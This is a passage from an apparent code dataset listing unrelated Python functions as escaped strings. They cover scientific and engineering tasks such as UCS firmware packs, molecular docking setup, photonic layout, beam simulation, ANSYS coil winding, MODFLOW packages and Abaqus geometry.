overwrite=True)\\n\\n return parametrized_structure\",\n \"def firmware_pack_create(handle, org_name, name, rack_bundle_version,\\n blade_bundle_version, descr=\\\"\\\", mode=\\\"staged\\\",\\n org_parent=\\\"org-root\\\"):\\n\\n org_dn = org_parent + \\\"/org-\\\" + org_name\\n p_mo = handle.query_dn(org_dn)\\n if not p_mo:\\n log.info(\\\"Sub-Org <%s> not found!\\\" % org_name)\\n else:\\n from ucsmsdk.mometa.firmware.FirmwareComputeHostPack import\\\\\\n FirmwareComputeHostPack\\n\\n mo = FirmwareComputeHostPack(parent_mo_or_dn=org_dn,\\n name=name,\\n descr=descr,\\n rack_bundle_version=rack_bundle_version,\\n mode=mode,\\n blade_bundle_version=blade_bundle_version)\\n handle.add_mo(mo)\\n handle.commit()\",\n \"def program_new_pcb(fx3_firmware, fpga_firmware, VID=default_VID, PID=default_PID, di_file=default_di_file):\\n fx3.program_new_pcb(fx3_firmware, VID=VID, PID=PID, di_file=di_file)\",\n \"def __init__(self, structure_id, pdb_file, amb_file, flex1_file, flex2_file, root_dir=None):\\n\\n super(DOCK, self).__init__(id=structure_id, description='DOCK6 preparation')\\n self._root_dir = None\\n self.structure_path = pdb_file\\n\\n if root_dir:\\n self.root_dir = root_dir\\n else:\\n self.root_dir = self.structure_dir\\n\\n self.dockprep_path = None\\n self.receptormol2_path = None\\n self.receptorpdb_path = None\\n self.dms_path = None\\n self.sphgen_path = None\\n self.bindingsite_path = None\\n self.sphsel_path = None\\n self.box_path = None\\n self.grid_path = None\\n\\n self.dock_flexible_outfile = None\\n self.dock_flexible_scored_result = None\\n self.dock_flexible_conformers_result = None\\n\\n self.amb_file = amb_file\\n self.flex1_file = flex1_file\\n self.flex2_file = flex2_file\\n\\n log.debug('{}: created DOCK6 project folder at {}'.format(structure_id, self.dock_dir))\",\n \"def hfp_create(handle, org_dn, name,\\r\\n blade_bundle_version=\\\"\\\",\\r\\n rack_bundle_version=\\\"\\\",\\r\\n ignore_comp_check=\\\"yes\\\",\\r\\n update_trigger=\\\"immediate\\\",\\r\\n mode=\\\"staged\\\",\\r\\n stage_size=\\\"0\\\",\\r\\n policy_owner=\\\"local\\\",\\r\\n descr=\\\"testdescr\\\"):\\r\\n\\r\\n from ucsmsdk.mometa.firmware.FirmwareComputeHostPack import \\\\\\r\\n FirmwareComputeHostPack\\r\\n\\r\\n org = handle.query_dn(org_dn)\\r\\n if org is None:\\r\\n raise ValueError(\\\"Org '%s' does not exist\\\" % org_dn)\\r\\n\\r\\n mo = FirmwareComputeHostPack(parent_mo_or_dn=\\\"org-root\\\",\\r\\n name=name,\\r\\n blade_bundle_version=blade_bundle_version,\\r\\n rack_bundle_version=rack_bundle_version,\\r\\n ignore_comp_check=ignore_comp_check,\\r\\n update_trigger=update_trigger,\\r\\n mode=mode,\\r\\n stage_size=stage_size,\\r\\n policy_owner=policy_owner,\\r\\n descr=descr)\\r\\n handle.add_mo(mo, modify_present=True)\\r\\n handle.commit()\\r\\n\\r\\n return mo\",\n \"def test_make_layout():\\n raw = hcp.read_raw(data_type='rest', **hcp_params).crop(0, 1).load_data()\\n raw.pick_types()\\n lout = make_hcp_bti_layout(raw.info)\\n assert_equal(lout.names, raw.info['ch_names'])\",\n \"def produce(self, layout, layers, parameters, cell):\\n self._layers = layers\\n self.cell = cell\\n self._param_values = parameters\\n self.layout = layout\\n\\n\\n # cell: layout cell to place the layout\\n # LayerSiN: which layer to use\\n # r: radius\\n # w: waveguide width\\n # length units in dbu\\n\\n from math import pi, cos, sin\\n from SiEPIC.utils import arc, arc_to_waveguide, points_per_circle, arc_wg\\n\\n # fetch the parameters\\n dbu = self.layout.dbu\\n ly = self.layout\\n shapes = self.cell.shapes\\n \\n LayerSi = self.silayer\\n LayerSiN = self.silayer_layer\\n LayerPinRecN = ly.layer(self.pinrec)\\n LayerDevRecN = ly.layer(self.devrec)\\n \\n w = int(round(self.wg_width/dbu))\\n r = int(round(self.radius/dbu))\\n\\n # draw the quarter-circle\\n x = -r\\n y = r\\n # layout_arc_wg_dbu(self.cell, LayerSiN, x, y, r, w, 270, 360)\\n t = Trans(Trans.R0,x, y)\\n self.cell.shapes(LayerSiN).insert(arc_to_waveguide(arc(r, 270, 360), w).transformed(t))\\n \\n # Create the pins on the waveguides, as short paths:\\n from SiEPIC._globals import PIN_LENGTH as pin_length\\n \\n # Pin on the top side:\\n p2 = [Point(0, y-pin_length/2), Point(0, y+pin_length/2)]\\n p2c = Point(0, y)\\n self.set_p2 = p2c\\n self.p2 = p2c\\n pin = Path(p2, w)\\n shapes(LayerPinRecN).insert(pin)\\n t = Trans(Trans.R0, 0, y)\\n text = Text (\\\"pin2\\\", t)\\n shape = shapes(LayerPinRecN).insert(text)\\n shape.text_size = 0.4/dbu\\n\\n # Pin on the left side:\\n p1 = [Point(pin_length/2+x,0), Point(-pin_length/2+x,0)]\\n p1c = Point(x,0)\\n self.set_p1 = p1c\\n self.p1 = p1c\\n pin = Path(p1, w)\\n shapes(LayerPinRecN).insert(pin)\\n t = Trans(Trans.R0, x, 0)\\n text = Text (\\\"pin1\\\", t)\\n shape = shapes(LayerPinRecN).insert(text)\\n shape.text_size = 0.4/dbu\\n\\n # Create the device recognition layer -- make it 1 * wg_width away from the waveguides.\\n t = Trans(Trans.R0,x, y)\\n self.cell.shapes(LayerDevRecN).insert(arc_to_waveguide(arc(r, 270, 360), w*3).transformed(t))\\n #layout_arc_wg_dbu(self.cell, LayerDevRecN, x, y, r, w*3, 270, 360)\\n\\n # Compact model information\\n t = Trans(Trans.R0, x+r/10, 0)\\n text = Text (\\\"Lumerical_INTERCONNECT_library=Design kits/EBeam\\\", t)\\n shape = shapes(LayerDevRecN).insert(text)\\n shape.text_size = r/100\\n t = Trans(Trans.R0, x+r/10, r/4)\\n text = Text ('Component=ebeam_bend_1550', t)\\n shape = shapes(LayerDevRecN).insert(text)\\n shape.text_size = r/100\\n t = Trans(Trans.R0, x+r/10, r/2)\\n text = Text ('Spice_param:radius=%.3fu wg_width=%.3fu'% (self.radius,self.wg_width), t)\\n shape = shapes(LayerDevRecN).insert(text)\\n shape.text_size = r/100\",\n \"def build(self, name=None):\\n wire_body = brep().createWireFromCurves(self._segments, allowSelfIntersections=False)[0]\\n return BRepComponent(brep().createFaceFromPlanarWires([wire_body]), name=name)\",\n \"def Initialize():\\n # --- Set four-character run id, comment lines, user's name.\\n top.pline2 = \\\"Example 3D beam in a FODO lattice\\\"\\n top.pline1 = \\\"S-G cigar beam. 64x64x256\\\"\\n top.runmaker = \\\"David P. Grote\\\"\\n\\n # --- Invoke setup routine - it is needed to created a cgm file for plots\\n setup()\\n\\n # --- Create the beam species\\n beam = Species(type=Potassium,charge_state=+1,name=\\\"Beam species\\\")\\n\\n # --- Set input parameters describing the beam, 72 to 17.\\n beam.b0 = 15.358933450767e-3\\n beam.a0 = 8.6379155933081e-3\\n beam.x0 = 3.*mm\\n beam.emit = 51.700897052724e-6\\n beam.ap0 = 0.e0\\n beam.bp0 = 0.e0\\n beam.ibeam = 2.e-03\\n beam.vbeam = 0.e0\\n beam.ekin = 80.e3\\n beam.aion = beam.type.A\\n beam.zion = beam.charge_state\\n top.lrelativ = false\\n top.derivqty()\\n beam.vthz = .5e0*beam.vbeam*beam.emit/sqrt(beam.a0*beam.b0) # Vthz ~ Vthperp\\n\\n # +++ Set up arrays describing lattice.\\n # --- Set temp variables.\\n hlp = 36.0e-2 # half lattice period length\\n piperad = 3.445e-2 # pipe radius\\n quadlen = 11.e-2 # quadrupole length\\n gaplen = 4.*cm\\n rodlen = quadlen + gaplen\\n dbdx = .949/quadlen\\n\\n # --- Set general lattice variables.\\n top.tunelen = 2.e0*hlp\\n env.zl = -hlp*2\\n env.zu = -env.zl\\n env.dzenv = top.tunelen/100.e0\\n\\n # --- Set up quadrupoles\\n addnewquad(zs= -quadlen/2.,\\n ze= +quadlen/2.,\\n db=-dbdx,ap=piperad)\\n addnewquad(zs=hlp - quadlen/2.,\\n ze=hlp + quadlen/2.,\\n db=+dbdx,ap=piperad)\\n addnewquad(zs=2.*hlp - quadlen/2.,\\n ze=2.*hlp + quadlen/2.,\\n db=-dbdx,ap=piperad)\\n top.zlatstrt = 0.\\n top.zlatperi = 2.e0*hlp\\n\\n # +++ Set input parameters describing the 3d simulation.\\n w3d.nx = 64/2\\n w3d.ny = 64/2\\n w3d.nz = 256/2\\n steps_p_perd = 50\\n top.dt = (top.tunelen/steps_p_perd)/beam.vbeam\\n\\n # --- Set to finite beam.\\n top.pbound0 = top.pboundnz = periodic\\n top.pboundxy = absorb\\n w3d.xmmin = -piperad\\n w3d.xmmax = piperad\\n w3d.ymmin = -piperad\\n w3d.ymmax = piperad\\n w3d.zmmin = -hlp*2\\n w3d.zmmax = +hlp*2\\n top.prwall = piperad\\n\\n # --- Set pulse length.\\n beam.zimin = w3d.zmmin*.95/2.\\n beam.zimax = w3d.zmmax*.95/2.\\n\\n # --- Load Semi-Gaussian cigar beam.\\n top.npmax = 20000\\n w3d.distrbtn = \\\"semigaus\\\"\\n w3d.cigarld = true\\n w3d.xrandom = \\\"digitrev\\\"\\n w3d.vtrandom = \\\"digitrev\\\"\\n w3d.vzrandom = \\\"digitrev\\\"\\n w3d.ldprfile = \\\"polar\\\"\\n w3d.cylinder = false\\n top.straight = .8\\n\\n # --- set up field solver\\n w3d.l4symtry = true\\n w3d.bound0 = periodic\\n w3d.boundnz = periodic\\n w3d.boundxy = dirichlet\\n\\n solver = MultiGrid3D()\\n registersolver(solver)\\n\\n pipe = ZCylinderOut(piperad,4.,voltage=0.)\\n installconductors(pipe,dfill=largepos)\\n\\n # --- Run the envelope solver to provide data used to initialize particles.\\n package(\\\"env\\\")\\n generate()\\n step()\\n\\n # --- Generate the PIC code (allocate storage, load ptcls, t=0 plots, etc.).\\n package(\\\"w3d\\\")\\n generate()\\n return\",\n \"def surface_template(self, chain):\\n output_name = output_folder + \\\"/surface_output_\\\" + str(self.input_pdb_path).split(\\\"/\\\")[-1][0:-4] + \\\"_\\\" + chain\\n output_string = 'mol new ' + self.input_pdb_path + '\\\\n' \\\\\\n + 'set allsel [atomselect top \\\"all and chain ' + chain + '\\\"]' + '\\\\n' \\\\\\n + 'set chain ' + chain + '\\\\n' \\\\\\n + 'set tot_sasa [dict create ARG 241 TRP 259 TYR 229' \\\\\\n + ' LYS 211 PHE 218 MET 204 GLN 189 HIS 194 HSD 194 HSE 194 HSP 194 GLU' \\\\\\n + ' 183 LEU 180 ILE 182 ASN 158 ASP 151 CYS 140 VAL 160 THR 146 PRO 143 ' \\\\\\n + 'SER 122 ALA 113 GLY 85]' + '\\\\n' \\\\\\n + 'set residlist [lsort -unique [$allsel get resid]]' + '\\\\n' \\\\\\n + 'set surf_list [list]' + '\\\\n' \\\\\\n + 'foreach r $residlist {' + '\\\\n' \\\\\\n + 'set sel [atomselect top \\\"resid $r and chain $chain\\\"]' + '\\\\n' \\\\\\n + 'set temp_rsasa [measure sasa 1.4 $allsel -restrict $sel]' + '\\\\n' \\\\\\n + 'set temp_name [lsort -unique [$sel get resname]]' + '\\\\n' \\\\\\n + 'set temp_id [lsort -unique [$sel get resid]]' + '\\\\n' \\\\\\n + 'set temp_tot [dict get $tot_sasa $temp_name]' + '\\\\n' \\\\\\n + 'set rsasa [expr $temp_rsasa/$temp_tot]' + '\\\\n' \\\\\\n + 'if {$rsasa > 0.2} {lappend surf_list \\\"$temp_id $temp_name\\\"}' + '\\\\n' \\\\\\n + '}' + '\\\\n' \\\\\\n + 'set fileId [open ' + output_name + ' w]' + '\\\\n' \\\\\\n + 'puts $fileId $surf_list' + '\\\\n' \\\\\\n + 'close $fileId' + '\\\\n' \\\\\\n + 'quit' + '\\\\n' \\\\\\n + 'exit' + '\\\\n'\\n return output_string\",\n \"def WindingDesign(main):\\n oEditor = main['ANSYS']['oEditor']\\n\\n # Slots number\\n Slots = main['ANSYS']['FixedVariables']['Slots']\\n\\n # SlotType\\n SlotType = main['ANSYS']['FixedVariables']['SlotType']\\n\\n # Geimetric parameters\\n g = main['ANSYS']['DesignProperties']['Stator']['g']\\n\\n Hs0 = main['ANSYS']['DesignProperties']['Slot']['Hs0']\\n Hs1 = main['ANSYS']['DesignProperties']['Slot']['Hs1']\\n Hs2 = main['ANSYS']['DesignProperties']['Slot']['Hs2']\\n Bs1 = main['ANSYS']['DesignProperties']['Slot']['Bs1']\\n Bs2 = main['ANSYS']['DesignProperties']['Slot']['Bs2']\\n\\n DiaGap = main['ANSYS']['DesignProperties']['Rotor']['DiaGap']\\n\\n # Coils Arrange ABC\\n PhasesABC = main['ANSYS']['Winding']['ABC']\\n\\n # Color used for phases\\n Color = main['ANSYS']['Winding']['Color']\\n\\n oEditor.CreateUserDefinedPart(\\n [\\n \\\"NAME:UserDefinedPrimitiveParameters\\\",\\n \\\"DllName:=\\\"\\t\\t, \\\"RMxprt/LapCoil.dll\\\",\\n \\\"Version:=\\\"\\t\\t, \\\"16.0\\\",\\n \\\"NoOfParameters:=\\\"\\t, 22,\\n \\\"Library:=\\\"\\t\\t, \\\"syslib\\\",\\n [\\n \\\"NAME:ParamVector\\\",\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"DiaGap\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"DiaGap+g*2\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"DiaYoke\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"DiaYoke\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Length\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0mm\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Skew\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0deg\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Slots\\\",\\n \\\"Value:=\\\"\\t\\t, str(int(Slots))\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"SlotType\\\",\\n \\\"Value:=\\\"\\t\\t, str(int(SlotType))\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Hs0\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Hs0\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Hs1\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Hs1\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Hs2\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Hs2\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Bs0\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Bs0\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Bs1\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Bs1\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Bs2\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Bs2\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Rs\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"Rs\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"FilletType\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"Layers\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"2\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"CoilPitch\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"1\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"EndExt\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"5mm\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"SpanExt\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"25mm\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"BendAngle\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0deg\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"SegAngle\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"10deg\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"LenRegion\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"200mm\\\"\\n ],\\n [\\n \\\"NAME:Pair\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"InfoCoil\\\",\\n \\\"Value:=\\\"\\t\\t, \\\"0\\\"\\n ]\\n ]\\n ],\\n [\\n \\\"NAME:Attributes\\\",\\n \\\"Name:=\\\"\\t\\t, \\\"LapCoil1\\\",\\n \\\"Flags:=\\\"\\t\\t, \\\"\\\",\\n \\\"Color:=\\\"\\t\\t, \\\"(143 175 143)\\\",\\n \\\"Transparency:=\\\"\\t, 0,\\n \\\"PartCoordinateSystem:=\\\", \\\"Global\\\",\\n \\\"UDMId:=\\\"\\t\\t, \\\"\\\",\\n \\\"MaterialValue:=\\\"\\t, \\\"\\\\\\\"copper\\\\\\\"\\\",\\n \\\"SurfaceMaterialValue:=\\\", \\\"\\\\\\\"\\\\\\\"\\\",\\n \\\"SolveInside:=\\\"\\t\\t, True,\\n \\\"ShellElement:=\\\"\\t, False,\\n \\\"ShellElementThickness:=\\\", \\\"0mm\\\",\\n \\\"IsMaterialEditable:=\\\"\\t, True,\\n \\\"UseMaterialAppearance:=\\\", False,\\n \\\"IsLightweight:=\\\"\\t, False\\n ]\\n )\\n\\n # Body Separation\\n oEditor.SeparateBody(\\n [\\n \\\"NAME:Selections\\\",\\n \\\"Selections:=\\\"\\t\\t, \\\"LapCoil1\\\",\\n \\\"NewPartsModelFlag:=\\\"\\t, \\\"Model\\\"\\n ],\\n [\\n \\\"CreateGroupsForNewObjects:=\\\", False\\n ]\\n )\\n\\n # Average Slot Width\\n AverWidth = (Bs2 + Bs1)/2\\n\\n # Average Radius\\n AverRadius = DiaGap/2 + g + Hs0 + Hs1 + Hs2*0.75\\n\\n # Angle to shift and find the kth tooth\\n ShiftSlot = 1/Slots*np.pi\\n\\n # Angle to fond the corrent layer\\n ShiftLayer = np.arctan(AverWidth/4/AverRadius)\\n\\n # List to save the coils sides names\\n WindingNames = [[], [], []]\\n\\n # Phases name to employed\\n PhaseNames = ['A', 'B', 'C']\\n\\n for phase, row in enumerate(PhasesABC):\\n\\n PhaseName = [[], []]\\n\\n for coil, slot in enumerate(row):\\n\\n SlotAngle = np.abs(slot)/Slots*2*np.pi - ShiftSlot\\n\\n if coil % 2 == 1:\\n SlotAngle = SlotAngle - ShiftLayer\\n\\n else:\\n SlotAngle = SlotAngle + ShiftLayer\\n\\n x = np.cos(SlotAngle)*AverRadius\\n y = np.sin(SlotAngle)*AverRadius\\n\\n Name0 = oEditor.GetBodyNamesByPosition(\\n [\\n \\\"NAME:Parameters\\\",\\n \\\"XPosition:=\\\", str(x)+\\\"mm\\\",\\n \\\"YPosition:=\\\", str(y)+\\\"mm\\\",\\n \\\"ZPosition:=\\\", \\\"0mm\\\"\\n ]\\n )\\n\\n C = Color[phase]\\n\\n if np.sign(slot) == 1:\\n\\n CoilSideName = PhaseNames[phase]+\\\"In\\\"+str(np.abs(coil))\\n\\n PhaseName[0] += [CoilSideName]\\n\\n oEditor.ChangeProperty(\\n [\\n \\\"NAME:AllTabs\\\",\\n [\\n \\\"NAME:Geometry3DAttributeTab\\\",\\n [\\n \\\"NAME:PropServers\\\",\\n Name0[0]\\n ],\\n [\\n \\\"NAME:ChangedProps\\\",\\n [\\n \\\"NAME:Name\\\",\\n \\\"Value:=\\\"\\t\\t,\\n CoilSideName\\n ],\\n [\\n \\\"NAME:Color\\\",\\n \\\"R:=\\\"\\t\\t\\t, C[0],\\n \\\"G:=\\\"\\t\\t\\t, C[1],\\n \\\"B:=\\\"\\t\\t\\t, C[2]\\n ],\\n\\n ]\\n ]\\n ]\\n )\\n else:\\n\\n CoilSideName = PhaseNames[phase]+\\\"Out\\\"+str(np.abs(coil))\\n\\n PhaseName[1] += [CoilSideName]\\n\\n oEditor.ChangeProperty(\\n [\\n \\\"NAME:AllTabs\\\",\\n [\\n \\\"NAME:Geometry3DAttributeTab\\\",\\n [\\n \\\"NAME:PropServers\\\",\\n Name0[0]\\n ],\\n [\\n \\\"NAME:ChangedProps\\\",\\n [\\n \\\"NAME:Name\\\",\\n \\\"Value:=\\\"\\t\\t,\\n CoilSideName\\n ],\\n [\\n \\\"NAME:Color\\\",\\n \\\"R:=\\\"\\t\\t\\t, C[0],\\n \\\"G:=\\\"\\t\\t\\t, C[1],\\n \\\"B:=\\\"\\t\\t\\t, C[2],\\n ],\\n\\n ]\\n ]\\n ]\\n )\\n\\n WindingNames[phase] += PhaseName\\n\\n main['ANSYS']['Winding']['CoilNames'] = WindingNames\\n\\n return main\",\n \"def __init__(\\n self,\\n model,\\n ipakcb=None,\\n intercellt=0,\\n laycon=3,\\n trpy=1.0,\\n hdry=-1e30,\\n iwdflg=0,\\n wetfct=0.1,\\n iwetit=1,\\n ihdwet=0,\\n ikvflag=0,\\n ikcflag=0,\\n tran=1.0,\\n hy=1.0,\\n vcont=1.0,\\n kv=1.0,\\n anglex=0.0,\\n ksat=1.0,\\n sf1=1e-5,\\n sf2=0.15,\\n wetdry=-0.01,\\n extension=\\\"bcf\\\",\\n unitnumber=None,\\n filenames=None,\\n add_package=True,\\n ):\\n msg = (\\n \\\"Model object must be of type flopy.mfusg.MfUsg\\\\n\\\"\\n f\\\"but received type: {type(model)}.\\\"\\n )\\n assert isinstance(model, MfUsg), msg\\n\\n super().__init__(\\n model,\\n ipakcb=ipakcb,\\n intercellt=intercellt,\\n laycon=laycon,\\n trpy=trpy,\\n hdry=hdry,\\n iwdflg=iwdflg,\\n wetfct=wetfct,\\n iwetit=iwetit,\\n ihdwet=ihdwet,\\n tran=tran,\\n hy=hy,\\n vcont=vcont,\\n sf1=sf1,\\n sf2=sf2,\\n wetdry=wetdry,\\n extension=extension,\\n unitnumber=unitnumber,\\n filenames=filenames,\\n add_package=False,\\n )\\n\\n dis = model.get_package(\\\"DIS\\\")\\n if dis is None:\\n dis = model.get_package(\\\"DISU\\\")\\n structured = self.parent.structured\\n\\n nrow, ncol, nlay, _ = self.parent.nrow_ncol_nlay_nper\\n\\n self.ikvflag = ikvflag\\n self.ikcflag = ikcflag\\n self.kv = kv\\n self.anglex = anglex\\n self.ksat = ksat\\n\\n if not structured:\\n njag = dis.njag\\n self.anglex = Util2d(\\n model,\\n (njag,),\\n np.float32,\\n anglex,\\n \\\"anglex\\\",\\n locat=self.unit_number[0],\\n )\\n\\n # item 1\\n self.kv = Util3d(\\n model,\\n (nlay, nrow, ncol),\\n np.float32,\\n kv,\\n \\\"Vertical Hydraulic Conductivity\\\",\\n locat=self.unit_number[0],\\n )\\n if not structured:\\n self.ksat = Util3d(\\n model,\\n (njag,),\\n np.float32,\\n ksat,\\n \\\"ksat\\\",\\n locat=self.unit_number[0],\\n )\\n\\n if add_package:\\n self.parent.add_package(self)\",\n \"def construct_inp(self, path, nuclide, keylines, title = None, \\n xs_measurement = None):\\n # Add data format to keylines - should always be there #\\n if not self.data_format in keylines:\\n keylines = [self.data_format] + keylines \\n #\\n # Get thickness and reaction type from xs_measurement if possible, #\\n # otherwise use defaults #\\n try: thickness = xs_measurement.experiment.thickness \\n except: thickness = self.default_thickness\\n try: xs_type = xs_measurement.sammy_type\\n except: xs_type = self.default_xs_type\\n #\\n # Set title #\\n if title == None:\\n title = 'SAMMY inp file for %s-%s' % (nuclide.element, nuclide.mass)\\n #\\n with open(path,'w') as f:\\n # Write to the .inp file #\\n f.write(title[:80] + '\\\\n')\\n write_to_position(f, ['%s%i' % (nuclide.element, nuclide.mass), \\n nuclide.weight], [0, 10])\\n for keyline in keylines + ['']:\\n f.write(keyline + '\\\\n')\\n write_to_position(f, self.temperature, 0)\\n write_to_position(f, [nuclide.channel_radius, thickness],[0, 10])\\n write_to_position(f, xs_type, 0)\\n #\",\n \"def sketch_und_part(self):\\n if (self.dimension == '3D'):\\n #Sketch Wuerfel zeichnen\\n self.sketch_Wuerfel = self.model.ConstrainedSketch(\\n name='Seitenansicht_Wuerfel',\\n sheetSize=200.0)\\n self.sketch_Wuerfel.rectangle(\\n point1=(-self.laenge_x/2.0, -self.laenge_y/2.0),\\n point2=(self.laenge_x/2.0, self.laenge_y/2.0))\\n #Part Wuerfel generieren\\n self.part_Wuerfel = self.model.Part(\\n name=self.name+'_Wuerfel',\\n dimensionality=THREE_D,\\n type=DEFORMABLE_BODY)\\n self.part_Wuerfel.BaseSolidExtrude(\\n sketch=self.sketch_Wuerfel,\\n depth=self.laenge_z/2.0) #z-Symmetrie\\n #Sketch Pore zeichnen (fuer Quader und Zylinder)\\n self.sketch_Pore = self.model.ConstrainedSketch(\\n name='Seitenansicht_Pore',\\n sheetSize=200.0)\\n if (self.typ_Pore == 'Quader'):\\n self.sketch_Pore.rectangle(\\n point1=(-self.porenparameter_x/2.0, -self.porenparameter_y/2.0),\\n point2=(self.porenparameter_x/2.0, self.porenparameter_y/2.0))\\n elif (self.typ_Pore == 'Zylinder'):\\n self.sketch_Pore.EllipseByCenterPerimeter(\\n center=(0.0, 0.0),\\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\\n axisPoint2=(0.0, self.porenparameter_y/2.0))\\n elif (self.typ_Pore == 'Ellipsoid' ):\\n matlab.ellipsoidIgesOut(\\n self.porenparameter_x,\\n self.porenparameter_y,\\n self.porenparameter_z,\\n 'Ellipsoid')\\n # if (self.porenparameter_x == self.porenparameter_z):\\n # self.sketch_Pore.ConstructionLine(\\n # point1=(0.0, -100.0),\\n # point2=(0.0, 100.0))\\n # self.sketch_Pore.EllipseByCenterPerimeter(\\n # center=(0.0, 0.0),\\n # axisPoint1=(self.porenparameter_x/2.0, 0.0),\\n # axisPoint2=(0.0, self.porenparameter_y/2.0))\\n # self.sketch_Pore.autoTrimCurve(\\n # curve1=self.sketch_Pore.geometry[3],\\n # point1=(-self.porenparameter_x/2.0, 0.0))\\n # self.sketch_Pore.Line(\\n # point1=(0.0, self.porenparameter_y/2.0),\\n # point2=(0.0, -self.porenparameter_y/2.0))\\n else:\\n print('typ_Pore Error!')\\n #Part Pore generieren\\n if (self.typ_Pore == 'Ellipsoid' ):\\n # if (self.porenparameter_x == self.porenparameter_z):\\n # self.part_Pore.BaseSolidRevolve(\\n # sketch=self.sketch_Pore,\\n # angle=360.0,\\n # flipRevolveDirection=OFF)\\n self.iges_Datei = mdb.openIges(\\n 'Ellipsoid.igs',\\n msbo=False,\\n trimCurve=DEFAULT,\\n scaleFromFile=OFF)\\n self.model.PartFromGeometryFile(\\n name=self.name+'_Pore',\\n geometryFile=self.iges_Datei,\\n combine=False,\\n stitchTolerance=1.0,\\n dimensionality=THREE_D,\\n type=DEFORMABLE_BODY,\\n convertToAnalytical=1,\\n stitchEdges=1,\\n scale=1) # Skalierung\\n self.part_Pore = self.model.parts[self.name+'_Pore']\\n self.part_Pore.AddCells(\\n faceList = self.part_Pore.faces,\\n flipped=False)\\n del self.iges_Datei\\n os.remove('abaqus_read_iges0.log') #Arbeitsordner aufraeumen\\n os.remove('temp-Ellipsoid-new.sat')\\n os.remove('Ellipsoid.igs')\\n elif (self.typ_Pore == 'Quader' or 'Zylinder'):\\n self.part_Pore = self.model.Part(\\n name=self.name+'_Pore',\\n dimensionality=THREE_D,\\n type=DEFORMABLE_BODY)\\n self.part_Pore.BaseSolidExtrude(\\n sketch=self.sketch_Pore,\\n depth=self.porenparameter_z)\\n #Assemble\\n self.assembly = self.model.rootAssembly\\n self.assembly.DatumCsysByDefault(CARTESIAN)\\n self.assembly.Instance(\\n name=self.name+'_Pore',\\n part=self.part_Pore,\\n dependent=ON)\\n self.assembly.Instance(\\n name=self.name+'_Wuerfel',\\n part=self.part_Wuerfel,\\n dependent=ON)\\n #Translation\\n self.assembly.translate(\\n instanceList=(self.name+'_Wuerfel', ),\\n vector=(0.0, 0.0, -self.laenge_z/2.0))\\n if (self.typ_Pore == 'Ellipsoid'):\\n self.assembly.translate(\\n instanceList=(self.name+'_Pore', ),\\n vector=(0.0, 0.0, 0.0))\\n elif (self.typ_Pore == 'Quader' or 'Zylinder'):\\n self.assembly.translate(\\n instanceList=(self.name+'_Pore', ),\\n vector=(0.0, 0.0, -self.porenparameter_z/2.0))\\n #Rotation\\n self.assembly.rotate(\\n instanceList=(self.name+'_Pore', ),\\n axisPoint=(0.0, 0.0, 0.0),\\n axisDirection=(1.0, 0.0, 0.0),\\n angle=self.porenparameter_rx)\\n self.assembly.rotate(\\n instanceList=(self.name+'_Pore', ),\\n axisPoint=(0.0, 0.0, 0.0),\\n axisDirection=(0.0, 1.0, 0.0),\\n angle=self.porenparameter_ry)\\n self.assembly.rotate(\\n instanceList=(self.name+'_Pore', ),\\n axisPoint=(0.0, 0.0, 0.0),\\n axisDirection=(0.0, 0.0,1.0),\\n angle=self.porenparameter_rz)\\n 